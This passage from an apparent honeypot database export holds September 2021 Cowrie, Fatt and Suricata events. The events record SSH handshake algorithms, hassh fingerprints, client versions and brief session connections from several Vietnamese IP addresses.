"ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5a7cfe368c62", "@version": "1", "timestamp": "2021-09-20T11:07:04.712291Z", "@timestamp": "2021-09-20T11:07:04.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22355	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.848479+03	2021-09-20 14:15:04.831613+03	{"_id": "jwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e7bc5122699b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.848479Z", "@timestamp": "2021-09-20T11:07:04.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22356	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.959043+03	2021-09-20 14:15:04.832612+03	{"_id": "kAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8d54501e455c", "@version": "1", "timestamp": "2021-09-20T11:07:04.959043Z", "@timestamp": "2021-09-20T11:07:04.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22367	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:05.089772+03	2021-09-20 14:15:04.847614+03	{"_id": "xAbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33828, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.089772", "@timestamp": "2021-09-20T11:07:05.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22357	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.08995+03	2021-09-20 14:15:04.834612+03	{"_id": "kQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e7bc5122699b", "@version": "1", "timestamp": "2021-09-20T11:07:05.089950Z", "@timestamp": "2021-09-20T11:07:05.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22358	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:05.297798+03	2021-09-20 14:15:04.835612+03	{"_id": "pAbjAnwBvYTbRNuEVwaq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1102809816115278, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56826, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.297798Z", "@timestamp": "2021-09-20T11:07:05.297Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22359	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.733411+03	2021-09-20 14:15:04.837612+03	{"_id": "qQbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53032 (192.168.176.2:22) [session: 536182ae278d]", "session": "536182ae278d", "@version": "1", "protocol": "ssh", "src_port": 53032, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.733411Z", "@timestamp": "2021-09-20T11:07:05.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22360	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.612611+03	2021-09-20 14:15:04.838613+03	{"_id": "uwbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "65df2bdbb1cb", "@version": "1", "duration": 2.5315144062042236, "timestamp": "2021-09-20T11:07:05.612611Z", "@timestamp": "2021-09-20T11:07:05.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22361	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.651519+03	2021-09-20 14:15:04.839613+03	{"_id": "vAbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7596d01ecf51", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:05.651519Z", "@timestamp": "2021-09-20T11:07:05.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22422	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.404354+03	2021-09-20 14:15:06.086469+03	{"_id": "yAbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f6baa6edb2b0", "@version": "1", "duration": 3.5679097175598145, "timestamp": "2021-09-20T11:07:01.404354Z", "@timestamp": "2021-09-20T11:07:01.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22362	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:05.08961+03	2021-09-20 14:15:04.840612+03	{"_id": "sAbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33828, "timestamp": "2021-09-20T11:07:05.089610", "@timestamp": "2021-09-20T11:07:05.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22363	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.512701+03	2021-09-20 14:15:04.842612+03	{"_id": "1AbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "653d081ab785", "@version": "1", "duration": 2.454056739807129, "timestamp": "2021-09-20T11:07:05.512701Z", "@timestamp": "2021-09-20T11:07:05.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22364	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.552616+03	2021-09-20 14:15:04.843612+03	{"_id": "1gbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bb19f410fe9e", "@version": "1", "duration": 3.583437442779541, "timestamp": "2021-09-20T11:07:05.552616Z", "@timestamp": "2021-09-20T11:07:05.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
